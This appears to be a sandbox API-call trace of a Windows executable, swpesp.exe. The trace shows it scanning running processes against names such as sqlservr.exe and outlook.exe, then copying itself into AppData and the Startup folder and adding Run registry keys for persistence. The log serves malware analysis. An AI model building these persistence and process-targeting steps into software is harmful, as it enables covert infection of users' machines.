	[0244.863] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1
	[0244.863] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1
	[0244.863] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0244.863] lstrlenW (lpString="dwm.exe") returned 7
	[0244.863] lstrcmpiW (lpString1="1c8.exe", lpString2="dwm.exe") returned -1
	[0244.864] lstrcmpiW (lpString1="1cv77.exe", lpString2="dwm.exe") returned -1
	[0244.864] lstrcmpiW (lpString1="outlook.exe", lpString2="dwm.exe") returned 1
	[0244.864] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0244.864] lstrlenW (lpString="svchost.exe") returned 11
	[0244.864] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0244.864] lstrlenW (lpString="swpesp.exe") returned 10
	[0244.864] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="runonce.exe")) returned 1
	[0244.865] lstrlenW (lpString="runonce.exe") returned 11
	[0244.865] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0244.865] lstrlenW (lpString="spoolsv.exe") returned 11
	[0244.865] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0244.865] lstrlenW (lpString="dllhost.exe") returned 11
	[0244.865] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0244.866] lstrlenW (lpString="taskhost.exe") returned 12
	[0244.866] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0
	[0244.866] CloseHandle (hObject=0xe0) returned 1
	[0244.866] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9208 | out: hHeap=0x4a0000) returned 1
	[0244.866] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9250 | out: hHeap=0x4a0000) returned 1
	[0244.866] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9298 | out: hHeap=0x4a0000) returned 1
	[0244.866] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d92b8 | out: hHeap=0x4a0000) returned 1
	[0244.866] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9300 | out: hHeap=0x4a0000) returned 1
	[0244.866] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d49d0 | out: hHeap=0x4a0000) returned 1
	[0244.866] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d8f58 | out: hHeap=0x4a0000) returned 1
	[0244.866] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d8f90 | out: hHeap=0x4a0000) returned 1
	[0244.866] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b42d8 | out: hHeap=0x4a0000) returned 1
	[0244.866] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4300 | out: hHeap=0x4a0000) returned 1
	[0244.866] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d8fb0 | out: hHeap=0x4a0000) returned 1
	[0244.866] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4328 | out: hHeap=0x4a0000) returned 1
	[0244.866] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4deb58
	[0244.867] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4eeb60
	[0244.867] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d0
	[0244.867] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d0, Size=0x20) returned 0x4b4328
	[0244.867] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4328, Size=0x40) returned 0x4da948
	[0244.867] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d0
	[0244.867] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d0, Size=0x20) returned 0x4b4328
	[0244.867] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d0
	[0244.867] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d0, Size=0x20) returned 0x4b4300
	[0244.867] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d0
	[0244.867] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d0, Size=0x20) returned 0x4b42d8
	[0244.867] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b42d8, Size=0x40) returned 0x4da990
	[0244.867] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4eeb60, nSize=0x7fff | out: lpFilename="C:\\Windows\\System32\\swpesp.exe" (normalized: "c:\\windows\\system32\\swpesp.exe")) returned 0x1e
	[0244.867] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4feb68
	[0244.868] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x50eb70
	[0244.868] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d0
	[0244.868] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d0, Size=0x20) returned 0x4b42d8
	[0244.868] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b42d8, Size=0x40) returned 0x4da9d8
	[0244.868] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da9d8, Size=0x80) returned 0x4dbdb8
	[0244.868] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dbdb8, Size=0x100) returned 0x4dbb20
	[0244.868] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0244.868] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dbb20 | out: hHeap=0x4a0000) returned 1
	[0244.868] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\swpesp.exe", lpDst=0x4feb68, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\swpesp.exe") returned 0x1f
	[0244.868] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x50eb70 | out: hHeap=0x4a0000) returned 1
	[0244.868] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4feb68 | out: hHeap=0x4a0000) returned 1
	[0244.868] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x2090020
	[0244.868] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d0
	[0244.868] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d0, Size=0x20) returned 0x4b42d8
	[0244.868] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d0
	[0244.868] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d0, Size=0x20) returned 0x4d98a8
	[0244.869] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x755c0000
	[0244.869] GetProcAddress (hModule=0x755c0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x755ed650
	[0244.869] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1
	[0244.869] lstrlenW (lpString="kernel32.dll") returned 12
	[0244.869] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b42d8 | out: hHeap=0x4a0000) returned 1
	[0244.869] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0244.869] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d98a8 | out: hHeap=0x4a0000) returned 1
	[0244.869] CreateFileW (lpFileName="C:\\Windows\\System32\\swpesp.exe" (normalized: "c:\\windows\\system32\\swpesp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0
	[0244.869] CreateFileW (lpFileName="C:\\Windows\\System32\\swpesp.exe" (normalized: "c:\\windows\\system32\\swpesp.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0244.870] CloseHandle (hObject=0xe0) returned 1
	[0244.870] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d0
	[0244.870] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d0, Size=0x20) returned 0x4d98a8
	[0244.870] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d0
	[0244.870] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d0, Size=0x20) returned 0x4d9858
	[0244.870] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x755c0000
	[0244.871] GetProcAddress (hModule=0x755c0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x755ed650
	[0244.871] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1
	[0244.871] lstrlenW (lpString="kernel32.dll") returned 12
	[0244.871] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9858 | out: hHeap=0x4a0000) returned 1
	[0244.871] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0244.871] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d98a8 | out: hHeap=0x4a0000) returned 1
	[0244.871] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x2090020 | out: hHeap=0x4a0000) returned 1
	[0244.871] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4feb68
	[0244.871] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x50eb70
	[0244.871] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d0
	[0244.871] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d0, Size=0x20) returned 0x4d98a8
	[0244.871] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d98a8, Size=0x40) returned 0x4da9d8
	[0244.871] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da9d8, Size=0x80) returned 0x51eb90
	[0244.871] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x51eb90, Size=0x100) returned 0x4dbb20
	[0244.871] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0244.871] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dbb20 | out: hHeap=0x4a0000) returned 1
	[0244.871] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\swpesp.exe", lpDst=0x4feb68, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\swpesp.exe") returned 0x39
	[0244.871] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x50eb70 | out: hHeap=0x4a0000) returned 1
	[0244.871] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4feb68 | out: hHeap=0x4a0000) returned 1
	[0244.871] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x2090020
	[0244.872] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d0
	[0244.872] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d0, Size=0x20) returned 0x4d98a8
	[0244.872] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d0
	[0244.872] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d0, Size=0x20) returned 0x4d9858
	[0244.872] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x755c0000
	[0244.872] GetProcAddress (hModule=0x755c0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x755ed650
	[0244.872] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1
	[0244.872] lstrlenW (lpString="kernel32.dll") returned 12
	[0244.872] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d98a8 | out: hHeap=0x4a0000) returned 1
	[0244.872] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0244.872] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9858 | out: hHeap=0x4a0000) returned 1
	[0244.872] CreateFileW (lpFileName="C:\\Windows\\System32\\swpesp.exe" (normalized: "c:\\windows\\system32\\swpesp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0
	[0244.872] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\swpesp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\swpesp.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4
	[0245.081] ReadFile (in: hFile=0xe0, lpBuffer=0x2090020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2090020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1
	[0245.093] WriteFile (in: hFile=0xe4, lpBuffer=0x2090020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2090020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1
	[0245.096] ReadFile (in: hFile=0xe0, lpBuffer=0x2090020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2090020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1
	[0245.096] CloseHandle (hObject=0xe4) returned 1
	[0245.096] CloseHandle (hObject=0xe0) returned 1
	[0245.096] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d0
	[0245.096] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d0, Size=0x20) returned 0x4d9858
	[0245.096] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d0
	[0245.096] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d0, Size=0x20) returned 0x4d98a8
	[0245.096] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x755c0000
	[0245.096] GetProcAddress (hModule=0x755c0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x755ed650
	[0245.096] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1
	[0245.096] lstrlenW (lpString="kernel32.dll") returned 12
	[0245.096] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d98a8 | out: hHeap=0x4a0000) returned 1
	[0245.096] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0245.096] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9858 | out: hHeap=0x4a0000) returned 1
	[0245.096] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x2090020 | out: hHeap=0x4a0000) returned 1
	[0245.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d0
	[0245.101] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d0, Size=0x20) returned 0x4d9858
	[0245.101] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9858, Size=0x40) returned 0x4da9d8
	[0245.101] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da9d8, Size=0x80) returned 0x51eb90
	[0245.101] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\swpesp.exe") returned 56
	[0245.101] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0245.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x5c) returned 0x4dbdb8
	[0245.101] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0
	[0245.101] RegSetValueExW (hKey=0xe0, lpValueName="swpesp.exe", Reserved=0x0, dwType=0x1, lpData=0x4deb58, cbData=0x70) returned 0x5
	[0245.102] RegCloseKey (hKey=0xe0) returned 0x0
	[0245.102] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dbdb8 | out: hHeap=0x4a0000) returned 1
	[0245.102] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\swpesp.exe") returned 56
	[0245.102] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0245.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x5c) returned 0x4dbdb8
	[0245.102] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe4) returned 0x0
	[0245.102] RegSetValueExW (in: hKey=0xe4, lpValueName="swpesp.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\swpesp.exe", cbData=0x70 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\swpesp.exe") returned 0x0
	[0245.102] RegCloseKey (hKey=0xe4) returned 0x0
	[0245.102] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dbdb8 | out: hHeap=0x4a0000) returned 1
	[0245.102] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0245.102] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51eb90 | out: hHeap=0x4a0000) returned 1
	[0245.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4feb68
	[0245.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x50eb70
	[0245.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a00
	[0245.102] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a00, Size=0x20) returned 0x4d9858
	[0245.102] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9858, Size=0x40) returned 0x4da9d8
	[0245.102] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da9d8, Size=0x80) returned 0x51eb90
	[0245.102] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x51eb90, Size=0x100) returned 0x4dbb20
	[0245.102] lstrlenW (lpString="") returned 0
	[0245.102] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0245.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8c) returned 0x4dbdb8
	[0245.102] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0
	[0245.102] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x50eb70, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x50eb70*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2
	[0245.102] RegCloseKey (hKey=0xe4) returned 0x0
	[0245.102] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dbdb8 | out: hHeap=0x4a0000) returned 1
	[0245.103] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0245.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8c) returned 0x4dbdb8
	[0245.103] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0
	[0245.103] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x50eb70, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0
	[0245.103] RegCloseKey (hKey=0xe4) returned 0x0
	[0245.103] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dbdb8 | out: hHeap=0x4a0000) returned 1
	[0245.103] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75
	[0245.103] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0245.103] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dbb20 | out: hHeap=0x4a0000) returned 1
	[0245.103] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\swpesp.exe", lpDst=0x4feb68, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\swpesp.exe") returned 0x67
	[0245.103] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x50eb70 | out: hHeap=0x4a0000) returned 1
	[0245.103] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4feb68 | out: hHeap=0x4a0000) returned 1
	[0245.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x2090020
	[0245.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a00
	[0245.103] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a00, Size=0x20) returned 0x4d9858
	[0245.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a00
	[0245.103] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a00, Size=0x20) returned 0x4d98a8
	[0245.103] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x755c0000
	[0245.103] GetProcAddress (hModule=0x755c0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x755ed650
	[0245.103] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1
	[0245.103] lstrlenW (lpString="kernel32.dll") returned 12
	[0245.103] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9858 | out: hHeap=0x4a0000) returned 1
	[0245.103] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0245.103] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d98a8 | out: hHeap=0x4a0000) returned 1
	[0245.103] CreateFileW (lpFileName="C:\\Windows\\System32\\swpesp.exe" (normalized: "c:\\windows\\system32\\swpesp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4
	[0245.103] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\swpesp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\swpesp.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8
	[0245.105] ReadFile (in: hFile=0xe4, lpBuffer=0x2090020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2090020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1
	[0245.117] WriteFile (in: hFile=0xe8, lpBuffer=0x2090020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2090020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1
	[0245.120] ReadFile (in: hFile=0xe4, lpBuffer=0x2090020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2090020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1
	[0245.120] CloseHandle (hObject=0xe8) returned 1
	[0245.120] CloseHandle (hObject=0xe4) returned 1
	[0245.120] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a00
	[0245.120] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a00, Size=0x20) returned 0x4d98a8
	[0245.120] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a00
	[0245.120] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a00, Size=0x20) returned 0x4d9858
	[0245.121] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x755c0000
	[0245.121] GetProcAddress (hModule=0x755c0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x755ed650
	[0245.121] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1
	[0245.121] lstrlenW (lpString="kernel32.dll") returned 12
	[0245.121] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9858 | out: hHeap=0x4a0000) returned 1
	[0245.121] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
